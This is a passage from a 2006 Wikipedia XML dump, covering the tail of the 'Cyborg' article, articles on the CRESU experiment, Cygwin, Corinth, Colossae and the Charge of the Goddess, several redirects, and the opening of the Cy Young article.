*[[Cyberware]]
*[[Cyborgs in fiction]]
*[[Exocortex]]
*[[Gynoid]]
*[[Monster]]
*[[Robot]]
*[[Transhumanism]]
*[[Waldo]]
*[[Strogg]]
*[[Wetware Hacker]]

==Notes==
# {{note|1}} In ''[[The Terminator]]'' and sequels, the titular assassins (models [[T-800]], [[T-850]], [[T-1000]], and [[T-X]]) appear to be [[artificial life|constructed beings]] rather than [[human]]s with [[bionic]] parts added, and are referred to throughout as both cyborgs and [[robot]]s.  The Terminator's status as a [[hybrid (disambiguation)|hybrid]] being is confirmed in ''[[Terminator 2: Judgment Day]]'', in which he describes himself as a &quot;[http://www.scifiscripts.com/scripts/t2.txt cybernetic organism.  Living tissue over a metal endoskeleton.]&quot;

==References==
*Manfred E. Clynes, and Nathan S. Kline, (1960) &quot;Cyborgs and space,&quot; ''Astronautics'', September, pp. 26-27 and 74-75; reprinted in Gray, Mentor, and Figueroa-Sarriera, eds., ''The Cyborg Handbook'', New York: Routledge, 1995, pp. 29-34. (hardback: ISBN 0415908485; paperback: ISBN 0415908493)
*''Cyborg: digital destiny and human possibility in the age of the wearable computer'', (2001), Steve Mann with Hal Niedzviecki, ISBN 0385658257 (A paperback version also exists, ISBN 0385658265)
*The Oxford English dictionary.  2nd ed. edited by J.A. Simpson and E.S.C. Weiner.Oxford : Clarendon Press ; Oxford ; New York : Oxford University Press, 1989.  Vol 4 p. 188.
*The science fiction handbook for readers and writers. By George S. Elrick. Chicago : Chicago Review Press, 1978. p. 77.
*The science fiction encyclopaedia. General editor, Peter Nicholls, associate editor, John Clute, technical editor, Carolyn Eardley, contributing editors, Malcolm Edwards, Brian Stableford. 1st ed. Garden City, N.Y. : Doubleday, 1979. p. 151.

==External links==
*[http://wearcam.org/transvision2004.htm TransVision: Transhumanism Conference, 2004]
*[http://wearcam.org/cyberman.htm Cyberman reviews]
*[http://headlesschicken.ca/cyborgblog Cyborgblog]
*[http://cyborgfantasy.blogspot.com/ Cyborg Fantasies]
*[http://www.ethologic.com/sasha/articles/Cyborgs.rtf Are you a cyborg?] by [[Alexander Chislenko]]
*[http://www.clickz.com/experts/ad/lead_edge/article.php/3468651 Are you ready for the cyborg consumer?]
*[http://future.wikicities.com/wiki/Cyborg Futures wiki, Cyborg]
* [http://www.wetwarehacker.com ''Wetware Technology'']

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[[Category:Neurotechnology]]
[[Category:Fictional technology]]
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[[Category:Implants]]
[[Category:Portmanteaus]]
[[Category:Robotics]]

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    </revision>
  </page>
  <page>
    <title>CRESU experiment</title>
    <id>6839</id>
    <revision>
      <id>40362155</id>
      <timestamp>2006-02-20T01:40:27Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">The '''CRESU experiment''' (meaning Cinétique de Réaction en Ecoulement Supersonique Uniforme, or Reaction Kinetics in Uniform Supersonic Flow) is an [[experiment]] investigating chemical reactions taking place at very low [[temperature]]s.

This is achieved by expanding a mixture of NCNO and a molecular reactant through a nozzle resulting in a [[supersonic]] flow of the gas. This is necessary so that the gas is cooled down to an extremely low temperature.  Before it has time to condense into a solid, the NCNO is broken down by a pulsed [[laser]] in to CN and NO [[free radical|radical]]s, of which the CN reacts with the molecular reactant. The rate of reaction is measured using a laser pulse to detect the fluorescence signal - which falls after reaction. 

The CRESU apparatus has been used to simulate the conditions in [[interstellar cloud]]s, making us able to perform chemical reactions under conditions very similar to these clouds. Surprisingly, reactions occurred which would have been unexpected under these harsh conditions. This would explain the occurrence of large molecules obsevered in interstellar clouds.

==External links==

* [http://www.chem.bham.ac.uk/irs/research/astrochemistry_cresu.htm Birmingham CRESU site]

[[Category:Interstellar media]]
[[Category:Cryogenics]]</text>
    </revision>
  </page>
  <page>
    <title>Cygwin</title>
    <id>6840</id>
    <revision>
      <id>41124365</id>
      <timestamp>2006-02-25T05:05:31Z</timestamp>
      <contributor>
        <username>Someoneinmyheadbutit'snotme</username>
        <id>146367</id>
      </contributor>
      <minor />
      <comment>/* Description */</comment>
      <text xml:space="preserve">{{Infobox Software |
	name = Cygwin |
	screenshot = [[Image:Cygwin_X11_rootless_WinXP.png|200px]] |
	caption = Running Cygwin under [[Windows XP]] |
	developer = [[Red Hat]] and others |
	latest_release_version = 2.510.2.2 |
	latest_release_date = 2005 |
	operating_system = [[Microsoft Windows|Windows]] |
	genre = [[Emulator]]|
	license = [[GNU General Public License|GPL]] |
	website = [http://www.cygwin.com/ www.cygwin.com] |
}}

'''Cygwin''' is a collection of [[free software]] tools originally developed by [[Cygnus Solutions]] to allow various versions of [[Microsoft Windows]] to act somewhat like a [[Unix]] system. It aims mainly at [[porting]] software that runs on [[POSIX]] systems (such as [[Linux]] systems, [[Berkeley Software Distribution|BSD]] systems, and Unix systems) to run on Windows with little more than a recompilation. Programs ported with Cygwin work best on [[Windows NT]], [[Windows 2000]], [[Windows XP]], and [[Windows Server 2003]], but some may run acceptably on [[Windows 95]] and [[Windows 98]]. Cygwin is currently maintained by employees of [[Red Hat]] and others.

==Description==
Cygwin consists of a library that implements the POSIX system call [[application programming interface|API]] in terms of [[Win32]] system calls, a [[GNU]] development toolchain (such as [[GNU Compiler Collection|GCC]] and [[GNU Debugger|GDB]]) to allow basic software development tasks, and some application programs equivalent to common programs on the Unix system. It added the [[X Window System]] in [[2001]].

The package also includes a library called [[MinGW]] that works with the native MSVCRT library ([[Windows API]]) included with Windows; MinGW has less RAM and disk overhead, operates under a  permissive (non-[[copyleft]]) [[license]], and can link to any software, but it does not implement as much of the POSIX specification as the Cygwin library does.

Cygwin has no direct support for [[Unicode]], nor does it support any character sets except the current Windows and OEM codepages of your system (e.g., for a Russian user, the only codepages available will be [[Windows-1251|CP1251]] and [[Codepage 866|CP866]], but not [[KOI8-R]], [[ISO 8859-5]], [[UTF-8]] or anything else).  [[iconv]] is provided, so it is possible to work with files in other encodings, but conversion must be performed manually.

Red Hat normally licenses the Cygwin library under the [[GNU General Public License]] with an exception to allow linking to any [[free software]] whose license conforms to the [[Open Source Definition]]. (Red Hat also sells commercial licenses to those who wish to redistribute programs that use the Cygwin library under [[proprietary software|proprietary]] terms.)

One can subscribe to one of many Cygwin-related mailing lists at the [http://cygwin.com/lists.html Cygwin Mailing Lists] page.

==History==
Cygwin began in [[1995]] as a project of [[Steve Chamberlain]], a [[Cygnus Solutions|Cygnus]] engineer who observed that Windows NT and 95 used [[COFF]] as their [[object file format]], and that GNU already included support for [[x86]] and COFF, and the C library [[newlib]]; so at least in theory it should not be difficult to retarget [[GNU Compiler Collection|GCC]] and get a [[cross compiler]] producing executables that would run on Windows.  This proved to be so in practice, and a prototype came up quickly.  

The next step was to attempt to bootstrap the compiler on a Windows system, but this required enough emulation of Unix to let the [[Autoconf|GNU configure]] [[shell script]] run, which requires a shell like [[bash]], which in turn requires [[Fork (computing)|fork]] and [[Standard streams|standard I/O]].  Windows includes similar functionality, so the Cygwin library proper just needs to translate calls and manage private versions of data, such as [[file descriptor]]s.

By [[1996]], other engineers had joined in, since it was clear that Cygwin would be a useful way to provide Cygnus' embedded tools hosted on Windows systems (the previous strategy had been to use [[DJGPP]]).  It was especially attractive because it was possible to do a three-way cross-compile, for instance to use a hefty [[Sun workstation]] to build, say, a Windows-x-[[MIPS]] cross-compiler, which was faster than using the PC of the time.  Starting around [[1998]], Cygnus also began offering the Cygwin package as a product of interest in its own right.

==See also==
*[[Cygwin/X]] is a [[free software|free]] [[X11]] implementation running on top of Cygwin.
*[[MinGW]] is a [[free software|free]] port of the GNU development tools to Windows.
*[[Microsoft Windows Services for UNIX|Services for UNIX]] is a [[Microsoft]] product with similar capabilities to Cygwin; it has the advantage of speed, although it is not available for Windows XP Home, or older non NT-based versions of Windows.
*[[coLinux]] uses a different approach to running Linux programs in Windows: it runs Linux itself to host them.
*[[KDE on Cygwin]]

==External links==
{{wikibooks}}

*[http://www.cygwin.com Cygwin Home]
*[http://www.cygwin.com/faq/ Cygwin FAQ]
*[http://www.cygwin.com/packages/ Cygwin Package Listings]
*[http://freshmeat.net/projects/cygwin/?topic_id=45%2C74 Cygwin page] on [[Freshmeat.net]]
*[http://cygnome.sourceforge.net/ CYGNOME] = cygwin + [[GNOME]]
*[http://kde-cygwin.sourceforge.net/ KDE-cygwin] cygwin + [[KDE]]
*[http://unxutils.sourceforge.net/ unxutils] and [http://gnuwin32.sourceforge.net/ GnuWin32] - two similar projects, porting Unix utilities to Windows but without the [[emulation]] layer.
&lt;!-- the link below is broken; please check it
*[http://gecko.gc.maricopa.edu/~medgar/puttycyg/ PuttyCYG] PuttyCYG combines [[PuTTY]] and [[Cygwin]] creating a local terminal for your Cygwin consoles. A great way to replace a DOS CMD prompt.
--&gt;

[[Category:Compilers]]
[[Category:Development tools]]
[[Category:Emulation software]]
[[Category:Red Hat]]

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    </revision>
  </page>
  <page>
    <title>Communists</title>
    <id>6841</id>
    <revision>
      <id>15904956</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Communism]]
</text>
    </revision>
  </page>
  <page>
    <title>Conspiracy theories</title>
    <id>6844</id>
    <revision>
      <id>15904959</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Conspiracy theory]]
</text>
    </revision>
  </page>
  <page>
    <title>Corinth</title>
    <id>6845</id>
    <revision>
      <id>39718863</id>
      <timestamp>2006-02-15T10:20:20Z</timestamp>
      <contributor>
        <username>Ph89</username>
        <id>818695</id>
      </contributor>
      <minor />
      <comment>/* Ottoman Rule */ misspelt</comment>
      <text xml:space="preserve">{{OtherUses|the Greek City of Corinth}}
{{Infobox Town GR
  |name = Corinth
  |name_local = Κόρινθος
  |image_coa =  
  |image_map = GreeceCorinth.png
  |periph = [[Peloponnese]]
  |prefec = [[Corinthia]]
  |province = 
  |population = 36,555
  |population_as_of = 2001
  |population_ref = [http://www.statistics.gr/gr_tables/S1100_SAP_1_monimos2001.htm source] 
  |pop_dens = 358
  |area =  102.2
  |elevation = ±10
  |lat_deg = 37
  |lat_min = 56
  |lat_hem = N
  |lon_deg = 22
  |lon_min = 56
  |lon_hem = E
  |postal_code = 201 00
  |area_code = 27410
  |licence = &amp;Kappa;&amp;Rho;
  |mayor = 
  |website = 
}}

'''Corinth''', or '''Korinth''' (''Κόρινθος''; see also [[List of traditional Greek place names]]) is a [[Greece|Greek]] city, on the [[Isthmus of Corinth]], the narrow stretch of land that joins the [[Peloponnesus]] to the mainland of Greece. To the west of the isthmus lies the [[Gulf of Corinth]], to the east lies the [[Saronic Gulf]]. Corinth is about 48 miles (78 km) southwest of [[Athens]]. The isthmus, which was in ancient times traversed by hauling ships over the rocky ridge on sledges, is now cut by a canal. 

Corinth is also the capital of the [[Prefectures of Greece|prefecture]] of [[Corinthia]]. The city is (clockwise) surrounded by the coastal townlets of [[Lechaio]], [[Isthmia]], [[Kechries]],  and the inland townlets of [[Examilia]] and [[Ancient Corinth]] right next to the archaelogical site. Geophysically the city is likewise surrounded by the narrow coastal plain of [[Vocha (plain of)|Vocha]], Corinthian Gulf, [[Corinth Canal]], Saronic Gulf, [[Oneia mountains]], and the monolithic rock of [[Acrocorinth]] where the medieval [[acropolis]] was built. 

==History==
===Prehistoric era===
&lt;!-- Image with unknown copyright status removed: [[image:Corinth Temple of Apollon.jpg|thumb|right|289px|Temple of [[Apollo]] at Corinth]] --&gt;
The city was founded in the [[Neolithic Age]], circa [[6000 BC]]. According to myth, the city was founded by Corinthos, a descendant of the god [[Helios]] (the Sun), while other myths suggest that it was founded by the goddess Ephyra, a daughter of the [[titan (mythology)|titan]] [[Oceanus]], thus the ancient name of the city (also [[Ephyra]]). There is evidence that the city was destroyed around [[2000 BC]].

Before the end of the [[Mycenae]]an period the [[Dorians]] attempted to settle in Corinth. While at first they failed, their second attempt was successful when their leader [[Aletes]] followed a different path around the Corinthian Gulf from [[Antirio]].

Some ancient names for the place, such as ''Korinthos'', derive from a pre-Greek, &quot;[[Pelasgian]]&quot; language; it seems likely that Corinth was also the site of a [[Bronze Age]] Mycenaean palace-city, like Mycenae, [[Tiryns]] or [[Pylos]]. According to myth, [[Sisyphus]] was the founder of a race of ancient kings at Corinth. It was also in Corinth that [[Jason]], the leader of the [[Argonauts]], abandoned [[Medea]].

===Classical era===
&lt;!-- Image with unknown copyright status removed: [[image:Corinthian_statue.jpg|thumb|left|140px|Corinthian [[Sphinx]] 7th century BC]] --&gt;
Later, in classical times the ancient city rivalled [[Athens]] and [[Thebes, Greece|Thebes]] in wealth, based on the Isthmian traffic and trade. Until the mid-6th century Corinth was a major exporter of [[black-figure pottery]] to cities around the Greek world. Athenian potters later came to dominate the market. Corinth's great temple on its ancient [[acropolis]] was dedicated to [[Aphrodite]]. According to most sources, there were more than one thousand temple prostitutes employed at the Temple of Aphrodite. Corinth was also the host of the [[Isthmian Games]].

[[image:Periander.jpg|thumb|right|100px|Periander '''Περίανδρος''' (r.627-585 BC)]]
In the [[7th century BC]], when Corinth was ruled by the tyrants [[Cypselus]] (r. 657-627 BC) and his son [[Periander]] (r. 627-585 BC), the city sent forth colonists to found new settlements: [[Epidamnus]] (modern day [[Durres]], [[Albania]]), [[Syracuse, Italy|Syracuse]], [[Ambracia]] (modern day [[Lefkada|town of Lefkas]]), [[Corcyra]] (modern day [[Corfu|town of Corfu]]) and [[Actium|Anactorium]]. Periander also founded [[Apollonia (city)|Apollonia]] (modern day [[Fier]], Albania) and [[Potidaea]] (in [[Chalcidice]]). Corinth was also one of the nine Greek sponsor-cities to found the colony of [[Naukratis]] in [[Ancient Egypt]]. Naucratis was founded to accommodate the increasing trade volume between the Greek world and the pharaohnic Egypt, during the reign of [[Pharaoh]] [[Psammetichus I]] of the [[26th dynasty]]. 

Periander was one of the [[Seven Wise Men of Greece]]. During his reign the first Corinthian [[Ancient Greek coinage|coins]] were forged. He was the first to attempt to cut across the Isthmus to create a seaway to allow ship traffic between the Corinthian and the Saronic Gulf. He abandoned the venture due to the extreme technical difficulties he met, but he created the [[Diolkos]] (a stone-build overland ramp) instead. The era of the Cypselids, ending with Periander's nephew [[Psammetichus (Corinthian tyrant)|Psammetichus]], named after the hellenophile Egyptian Pharaoh Psammetichus I (see above), was the golden age of the city of Corinth.

During this era Corinthians developed the [[Corinthian order]], the third order of the classical architecture after the [[ionic order|Ionic]] and the [[doric order|Doric]]. The Corinthian order was the most complicated of the three, showing the accumulation of wealth and the luxurious lifestyle in the ancient city-state, while the Doric order was analogous to the strict and simplistic lifestyle of the older Dorians like the Spartans, and the Ionic was a balance between those two following the philosophy of harmony of Ionians like the Athenians.
[[image:Corinthian_silver_stater.jpg|right|thumb|100px|Early Corinthian silver [[stater]] Obverse: [[Pegasus]].]]
[[image:Corinthian_silver_stater_reverse.jpg|right|thumb|100px|Early Corinthian silver [[stater]] Reverse: [[Swastika]].]]
At this time there was a famous ancient saying: &quot;'''Ou pantos plein es Korinthon'''&quot;, which translates as &quot;Not everyone is able to go to Corinth&quot;, due to the expensive living standards that prevailed in the city. The city was renowned for the temple prostitutes of [[Aphrodite]], the goddess of love, who served the wealthy merchants and the powerful officials living in or travelling in and out of the city. The most famous of them, [[Lais]], was said to have extraordinary abilities and charged tremendous fees for her favours. 

The city had two main ports, one in the Corinthian Gulf and one in the Saronic Gulf, serving the trade routes of the western and eastern [[Mediterranean]], respectively. In the Corinthian Gulf lied [[Lechaio|Lechaion]], which connected the city to it's western colonies ('''Greek''': [[Colonies in antiquity|apoikoiai]]) and [[Magna Graecia]], while in the Saronic Gulf the port of [[Kechries|Kenchreai]] served the ships coming from Athens, [[Ionia]], [[Cyprus]] and the rest of the [[Levant]]. Both ports had docks for the large war fleet of the city-state.

The city was a major participant in the [[Persian Wars]], offering 40 war ships in the sea [[Battle of Salamis]] under the admiral [[Adeimantos]] and 5,000 [[hoplites]] (wearing their characteristic [[Corinthian helmet]]s) in the following [[Battle of Plataea]] but afterwards was frequently an enemy of Athens and an ally of [[Sparta]] in the [[Peloponnesian League]]. In [[431 BC]], one of the factors leading to the [[Peloponnesian War]] was the dispute between Corinth and Athens over the Corinthian colony of Corcyra (Corfu), which probably stemmed from the traditional trade rivalry between the two cities. 
[[image:Amphoreus_Corinthian.jpg|thumb|left|140px|Corinthian [[Amphora|Amphoreus]] ca. 600 BC]]
After the end of the Peloponnesian War, Corinth and Thebes, which were former allies with Sparta in the Peloponnesian League, had grown dissatisfied with the hegemony of Sparta and started the [[Corinthian War]] against it, which further weakened the [[polis|city-states]] of the Peloponnese. This weakeness allowed for the subsequent invasion of the [[Macedon]]ians of the north and the forging of the [[Corinthian League]] by [[Philip II of Macedon]] against the [[Persian Empire]]. Philip's son [[Alexander the Great]] was the first general of the [[Hellenes]].

In the [[4th century BC]], Corinth was home to [[Diogenes of Sinope]], one of the world's best known cynics.

===Roman era===
The [[Roman Republic|Romans]] under [[Lucius Mummius Achaicus|Lucius Mummius]] destroyed Corinth following a siege in [[146 BC]]; when he entered the city Mummius put all the men to the sword and sold the women and children into slavery before he torched the city, for which he was given the [[cognomen]] ''Achaicus'' as the conqueror of the [[Achaean League]] (see [[Battle of Corinth (146 BC)|Battle of Corinth]]). While there is archeological evidence of some minimal habitation in the years afterwards, [[Julius Caesar]] refounded the city as ''Colonia laus Iulia Corinthiensis'' in [[44 BC]] shortly before his assassination. According to [[Appian of Alexandria|Appian]], the new settlers were drawn from [[freedmen]] of Rome. Under the Romans it became the seat of government for Southern [[Greece]] or [[Achaia]] ([[Acts of the Apostles|Acts]] 18:12-16). It was noted for its wealth, and for the luxurious, immoral and vicious habits of the people. It had a large mixed population of Romans, Greeks, and [[Jews]].

When [[Paul of Tarsus|Paul]] first visited the city ([[51|AD 51]] or [[52]]), [[Gallio]], the brother of [[Lucius Annaeus Seneca|Seneca]], was [[proconsul]]. Paul resided here for eighteen months (18:1-18). Here he first became acquainted with [[Aquila (bible)|Aquila]] and [[Priscilla]], and soon after his departure [[Apollos]] came from [[Ephesus]]. Although he intended to pass through Corinth the second time before he visited Macedonia, circumstances were such, in the absence of Titus, that he went from Troas to Macedonia, and then likely passed into Corinth for a &quot;second benefit&quot; (2 Corinthians 1:15), and remained for three months, according to Acts 20:3.

During this second visit in the spring of [[58]] it is likely the [[Epistle to the Romans]] was written. Paul's [[First Epistle to the Corinthians]] reflects the difficulties of maintaining a Christian community in such a cosmopolitan city.

===Byzantine era===
The city was destroyed by an earthquake in [[375]] and again in [[551]].

During [[Alaric I|Alaric]]'s invasion of Greece, in [[395]]&amp;ndash;[[396]], Corinth was one of the cities he despoiled, selling many of its citizens into slavery.

During the reign of [[Byzantine emperor]] [[Justinian I]], a large stone wall was erected from the Saronic to the Corinthian gulf, protecting the city and the Peloponnesean peninsula from the barbarian invasions of the north. The stone wall was about six miles (10 km) long and was named [[Examilion wall|Examilion]] (exi=six in Greek). During this era Corinth was the seat of the ''[[Thema]]'' of Hellas (representing modern day [[Greece]]).

In the 12th century (during the reign of the [[Comnenus]] dynasty), the wealth of the city, generated from the silk trade to the Latin states of western Europe, attracted the attention of the Sicilian [[Normans]] under the [[Roger of Sicily]], who plundered it in [[1147]].

===Principality of Achaea===
In [[1204]] [[Geoffrey I Villehardouin|Geoffrey I de Villehardouin]], nephew of the homonymous [[Geoffrey of Villehardouin|famous historian]] of the [[Fourth Crusade]], was granted Corinth after the sack of [[Constantinople]], with the title of Prince of Achaea. From [[1205]]-[[1208]] the Corinthians resisted the Frankish domination from their stronghold in [[Acrocorinth]], under the command of the Greek general [[Leo Sgouros]]. The [[French people|French]] knight [[William of Champlitte]] led the crusader forces. In 1208 Leo Sgouros killed himself by riding off the top of Acrocorinth, but from 1208 to [[1210]] the Corinthians continued to resist against the enemy forces.

After the collapse of resistant and for the years to come Corinth became a full part of the Principality, governed by the [[Villehardouin|Villehardouins]] from their capital in [[Andravida]] of [[Elis]]. Corinth was the last significant town of Achaea on its northern borders with another crusader state, the [[Duchy of Athens]].

===Ottoman Rule===
In [[1458]] five years after the final [[Fall of Constantinople]], the Turks of the [[Ottoman Empire]] conquered the city and its mighty castle.

During the [[Greek War of Independence]], [[1821]]-[[1830]] the city was totally destroyed by the Turkish forces. The city was officially liberated in [[1832]] after the [[London Conference of 1832|Treaty of London]]. In [[1833]], the site was considered among the candidates for the new capital city of the recently founded [[Kingdom of Greece]], due to its historical significance and strategic position. Athens, then an insignificant village, was chosen instead.

&lt;table width = 75% border = 2 align=&quot;center&quot;&gt;
&lt;tr&gt;
  &lt;td width = 35% align=&quot;center&quot;&gt;&lt;/td&gt;
  &lt;td width = 30% align=&quot;center&quot;&gt;'''North:''' [[Gulf of Corinth]],&lt;br/&gt;[[Loutraki-Perachoras]] (NE)&lt;/td&gt;
  &lt;td width = 35% align=&quot;center&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td width = 35% align=&quot;center&quot;&gt;'''West:''' [[Vocha (plain of)|Vocha]],&lt;/br&gt;[[Lechaio]]&lt;/td&gt;
  &lt;td width = 30% align=&quot;center&quot;&gt;'''Corinth'''&lt;/td&gt;
  &lt;td width = 35% align=&quot;center&quot;&gt;'''East:''' [[Saronic Gulf]],&lt;br/&gt;[[Isthmia]],&lt;br/&gt;[[Kechries]] (SE)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td width = 35% align=&quot;center&quot;&gt;&lt;/td&gt;
  &lt;td width = 30% align=&quot;center&quot;&gt;'''South''': [[Oneia mountains]],&lt;br/&gt;[[Examilia]],&lt;br/&gt;[[Ancient Corinth]] (SW)&lt;/td&gt;
  &lt;td width = 35% align=&quot;center&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

== Corinth today ==
[[image:Corinth_aerial.jpg|right|thumb|325px|'''Κόρινθος''' the key to [[Peloponnese]]. North to South aerial view. [[Acrocorinth]] and Oneia mountains are visible in the background]]
In [[1858]] the old city (ancient Corinth, today a town 3km SW of the modern city) was totally destroyed by an earthquake. The new city of Corinth was founded on the coast of the Gulf of Corinth. 

Corinth is the second largest city in the [[periphery]] of Peloponnese after [[Kalamata]] (53,659 inh. in 2001). In the census of [[1991]] the city had a population of 28,071 while latest data [[2001]] showed an increase of 2,363 inhabitants (+8,4%) to 30,434. It should be noted the fact that between the census of [[1981]] and that of 1991 the city had one of the fastest increasing populations in the country. 

The [[Municipality of Corinth]] or ''Dimos Korinthion'' had a population of 36,991 in 2001. The municipality includes the town of Ancient Corinth (1,770 inh.), where the ancient and the medieval city used to be built at the foothills of the rock of Acrocorinth 3km from the new city centre, the town of Examilia (1,547 inh.), and the smaller settlements of [[Xylokeriza]] (777 inh.) and [[Solomos,Corinthia|Solomos]] (686 inh.).

The [[Corinth Canal]], carrying ship traffic between the western Mediterranean and the [[Aegean Sea]], is about 4 km east of the city, cutting through the [[Isthmus of Corinth]]. 

A city square is located next to its [[Port of Corinth|port]]. The port operates north of the square, and serves the local needs of industry and agriculture. It is mainly a cargo exporting facility.

Corinth is a major industrial hub at a national level. Copper cables, petroleum products, medical equipment, marble, gypsum, ceramic tiles, salt, mineral water &amp; beverages, meat products, and gums are produced nearby. Currently (2005) a period of de-industrialisation has commenced as a large pipework complex, a textile factory and a meat packing facility disrupted their operations.  

A large oil-refinery complex is situated about 12 km northeast of the city, which some think is the line marking the Athens metro area. The complex is amongst the largest in the eastern Mediterranean. It is surrounded by [[Greece Interstate 8A]] and a 3+1 lanes per direction freeway. A modern rest area with restaurants and gas stations is located nearby on the freeway.

The city is the terminal point of a newly-built ultra-modern electric railway line to the Athens metropolitan area. Expectations for further economic and residential expansion are significant due to this new development. 

The city is also a major road hub being the entry point to the Peloponnesian peninsula, the southernmost area of continental Greece.

==External links==
*[http://www.media.net.gr/korinthos.htm Media in Corinth]
*[http://www.xeniosmagazine.gr/prefectures/corinthia/index1.html Xenios Magazine articles on Corinthia]
*[http://corinth.sas.upenn.edu/hist.html History Timeline]
*[http://corinth.sas.upenn.edu/ Corinth Computer Project]
*[http://www.world66.com/lib/map/handle?loc=europe|greece|corinth Satelite Image; Corinth canal separates Corinth (on the left) from Loutraki (on the right)]

----
''Partial text from Easton's Bible Dictionary, 1897''

{{Corinth}}

[[Category:Cities and towns in Greece]]
[[Category:Coastal cities]]
[[Category:Ancient Greek cities]]
[[Category:Archaeological sites in Greece]]
[[Category:Corinth|*]]
[[Category:Greek prefectural capitals]]
[[Category:Pauline churches]]

[[da:Korinth]]
[[de:Korinth]]
[[el:Κόρινθος]]
[[es:Corintia]]
[[fr:Corinthe]]
[[it:Corinto]]
[[he:קורינתוס (עיר)]]
[[la:Corinthus]]
[[nl:Korinthe]]
[[ja:コリントス]]
[[no:Korint]]
[[pl:Korynt]]
[[pt:Corinto (Grécia)]]
[[ro:Corint, Grecia]]
[[ru:Коринф]]
[[simple:Corinth]]
[[fi:Korintti]]
[[sv:Korinth]]
[[zh:科林斯]]</text>
    </revision>
  </page>
  <page>
    <title>Colossae</title>
    <id>6846</id>
    <revision>
      <id>41371525</id>
      <timestamp>2006-02-26T22:27:10Z</timestamp>
      <contributor>
        <username>Mackensen</username>
        <id>20329</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/202.125.40.91|202.125.40.91]] ([[User talk:202.125.40.91|talk]]) to last version by Gdrbot</comment>
      <text xml:space="preserve">'''Colossae''' or '''Colosse''', a city of [[Phrygia]], on the [[Lycus]], which is a tributary of the [[Maeander]]. It was about 12 miles above [[Denizli|Laodicea]], and near the great road from [[Ephesus]] to the [[Euphrates]], and was at one time of some mercantile importance, although by the first century it had dwindled greatly in size and significance.

In 396 B.C., during the Persian Wars, the Persian satrap [[Tissaphernes]] was lured to Colossae and slain by an agent of the party of Cyrus.  

It does not appear that [[Paul of Tarsus|St. Paul]] had visited this city when he wrote his [[Colossians|letter to the church]] there (Col. 1:2), since he tells [[Philemon of Colossae|Philemon]] of his hope to visit it upon being freed from prison (see Philemon 1:22). It seems that [[Epaphras]] was the founder of the [[Colossian church]] (see Col. 1:7; 4:12). 

This town fell into decay (possibly due to an earthquake), and the modern town of [[Chonas]] or
[[Chonum]] occupies a site near its ruins.

-----
''Initial text from Easton's Bible Dictionary, 1897 -- Please update as needed''

== See also ==
*[[Laodicean Church]]

== External links==
*[http://holylandphotos.org/browse.asp?s=1,3,7,23,62 HolyLandPhotos.org] - map and pictures of ruins

[[Category:Roman towns and cities]]

[[de:Colossae]]
[[id:Kolose]]</text>
    </revision>
  </page>
  <page>
    <title>Colossians</title>
    <id>6847</id>
    <revision>
      <id>15904962</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Epistle_to_the_Colossians]]
</text>
    </revision>
  </page>
  <page>
    <title>Charge of the Goddess</title>
    <id>6848</id>
    <revision>
      <id>40506917</id>
      <timestamp>2006-02-21T01:47:27Z</timestamp>
      <contributor>
        <username>AnnaKucsma</username>
        <id>358984</id>
      </contributor>
      <minor />
      <text xml:space="preserve">The '''Charge of the Goddess''' is a traditional inspirational text sometimes used in [[Neopaganism]] and [[Wicca]].  [[Doreen Valiente]], a student of [[Gerald Gardner]], originally wrote a Charge in [[verse]], and later in [[prose]]: the prose version is the one known today.  It has since been modified and adapted by many others.

The original text of the prose version is found in ''Eight Sabbats for Witches'' by [[Janet Farrar |Janet]] and [[Stewart Farrar]]. See ''The Rebirth of Witchcraft'' by [[Doreen Valiente]], chap. 4, which also includes her original verse version.  

The opening paragraph gives a motley collection of classical goddesses, some derived from [[Greek mythology|Greek]] or [[Roman mythology]], others from [[Celtic mythology|Celtic]] or [[Matter of Britain|Arthurian]] [[legend]]s, affirming a belief that these various figures represent a single [[Great Mother]]:
:''Listen to the words of the Great Mother; she who of old was also called among men [[Artemis]], [[`Ashtart|Astarte]], [[Athene]], [[Dione (mythology)|Dione]], [[Melusine]], [[Aphrodite]], [[Cerridwen]], [[Danu (Irish goddess)|Dana]], [[Arianrhod]], [[Isis]], [[Brigid|Bride]], and by many other names.''

The second paragraph is largely derived and paraphrased from the [[Charge of Aradia]], taken from [[Charles Godfrey Leland]]'s book ''[[Aradia, or the Gospel of the Witches]] (1899)''.  The third paragraph is largely Valiente's original contribution, with some phrases taken from ideas from ''The [[Book of the Law]]'' by [[Aleister Crowley]].  

{{Wikisourcepar|The Charge of the Goddess}}
{{paganism-stub}}

[[Category:Wicca]]

[[eo:Ordono de la Diino]]</text>
    </revision>
  </page>
  <page>
    <title>Cy Young</title>
    <id>6849</id>
    <revision>
      <id>41689611</id>
      <timestamp>2006-03-01T02:02:20Z</timestamp>
      <contributor>
        <username>Novastarj</username>
        <id>284701</id>
      </contributor>
      <text xml:space="preserve">:''For the [[The_Walt_Disney_Company|Disney]] [[animator]], see [[Cy Young (animator)]]''.

'''Denton True Young''' ([[March 29]], [[1867]] – [[November 4]], [[1955]]) He was the pre-eminent [[baseball]] pitcher during the [[1890s]] and [[1900s]].  His nickname &quot;Cy&quot; is short for &quot;[[Tornado|Cyclone]]&quot; (as he himself stated, since barns and fences supposedly showed tornadic damage after encountering one of his pitches) and because his fastball was blindingly fast.
[[Image:cy_young_pitching.jpg|thumb|300px|''Cy Young warming up for Boston in [[1908]], the first year they were called the &quot;Red Sox&quot;'']]
